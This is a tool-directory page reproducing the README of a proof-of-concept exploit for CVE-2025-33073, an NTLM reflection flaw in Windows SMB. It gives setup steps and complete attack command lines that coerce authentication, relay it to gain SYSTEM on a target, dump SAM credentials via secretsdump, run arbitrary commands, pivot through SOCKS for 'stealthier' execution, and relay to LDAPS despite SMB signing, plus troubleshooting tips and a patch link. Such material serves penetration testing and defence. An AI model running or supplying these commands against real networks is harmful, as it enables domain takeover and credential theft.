Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-33073 — PoC Exploit for the NTLM reflection SMB flaw. | Kitploit
Tools/GitHubGitHub/mverschu/cve-2025-33073
Privilege EscalationVulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthentication
GitHubmverschu/cve-2025-33073

CVE-2025-33073

PoC Exploit for the NTLM reflection SMB flaw.

View Repository
714136322 days agoReviewed by Kitploit
Share

CVE-2025-33073

PoC Exploit for the NTLM reflection SMB flaw.

image

All credits go to the offical research:
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

Prerequisites

OS: Kali Linux (has most packages pre-installed).

  • NetExec (NXC) - https://github.com/Pennyw0rth/NetExec
  • impacket-ntlmrelayx
  • dnstool.py (included in repo)

Setup

pipx (recommended) — installs ldap3-bleeding-edge, impacket, and dnspython into an isolated app venv:

pipx install .
# or: pipx install git+https://github.com/mverschu/CVE-2025-33073.git
cve-2025-33073 --help
cve-2025-33073-dnstool --help

You still need NetExec (nxc) and dig on your PATH (included on Kali). For --smb-signing, install the forked impacket into the pipx env:

pipx inject cve-2025-33073 "impacket @ git+https://github.com/decoder-it/impacket-partial-mic.git"

Local venv — same dependencies as setup.sh / requirements.txt:

./setup.sh
source venv/bin/activate
python3 CVE-2025-33073.py --help

This installs ldap3-bleeding-edge==2.10.1.1337, impacket, and dnspython.

Example usage

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

Target-specific DNS label (Synacktiv SRV1 example)
By default the tool registers localhost1UWhRC.... For some targets, register a label derived from the victim’s computer name so Windows treats it like localhost (see Synacktiv’s write-up). --reflection-host SRV1 creates srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA; an FQDN such as SRV1.ASGARD.LOCAL uses the first label only.

python3 CVE-2025-33073.py -u 'ASGARD.LOCAL\loki' -p 'password' --attacker-ip 192.168.56.3 --dns-ip 192.168.56.10 --dc-fqdn DC01.ASGARD.LOCAL --target SRV1.ASGARD.LOCAL --target-ip 192.168.56.11 --reflection-host SRV1
image

Custom command
Instead of running secretsdump a custom command can be executed.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --custom-command "whoami"

image

SOCKS
For more stealthy execution of commands after valid connection as SYSTEM has been made. --target and --target-ip should be equal here.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --socks

image Also a custom command can be ran through proxychains instead of dumping SAM.

proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

image

Exploit relay to LDAPS even with SMB Signing enabled

Research has been performed to see if the reflection really didnt work with SMB signing enabled which resulted in finding bugs where if SIGN/SEAL are removed from the packet it is possible to relay from SMB to LDAPS which is usually not possible due to MIC.

Thanks to:

  • https://github.com/decoder-it/impacket-partial-mic/
  • https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
  • https://www.depthsecurity.com/blog/using-ntlm-reflection-to-own-active-directory/
python3 CVE-2025-33073.py -u "thewoods.local\test" -p 'pass' -d 192.168.204.131 --dns-ip 192.168.204.133 --dc-fqdn DC01.thewoods.local --target 192.168.204.133 --target-ip 192.168.204.133 -M DFSCoerce --smb-signing
image

Manual exploit without DNS requirement

If you're in the same broadcast domain as the device and it's vulnerable for LLMNR poisioning it's possible to exploit a device without having to register a DNS record.

image

Troubleshooting

  • I've seen the attack not work sometimes because the hostname is used for the attack which results in a DNS lookup from Kali. If Kali is not using the DNS server or you get a '/ FAILED' message from impacket-ntlmrelayx try adding the host to your /etc/hosts file. This should result in the attack working.
  • If using IP the attack should work. Sometimes running it multiple times will result in a SUCCESS instead of failure. It's until now not perfectly clear why this happens. I think it has something to do with networking.
  • Try another coerce method using -M or --method.

Wireshark

Local NTLM authentication takes place image

Local NTLM authentication does not take place resulting in a FAILED attempt image

Good to know

  • DNS-record should also be known to the client, this can take more time in some occasions. With more time I mean give it a couple of minutes.
  • This is just a PoC which means AV/EDR bypasses have not been tried to bypass. Use at own risk.

How to fix

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →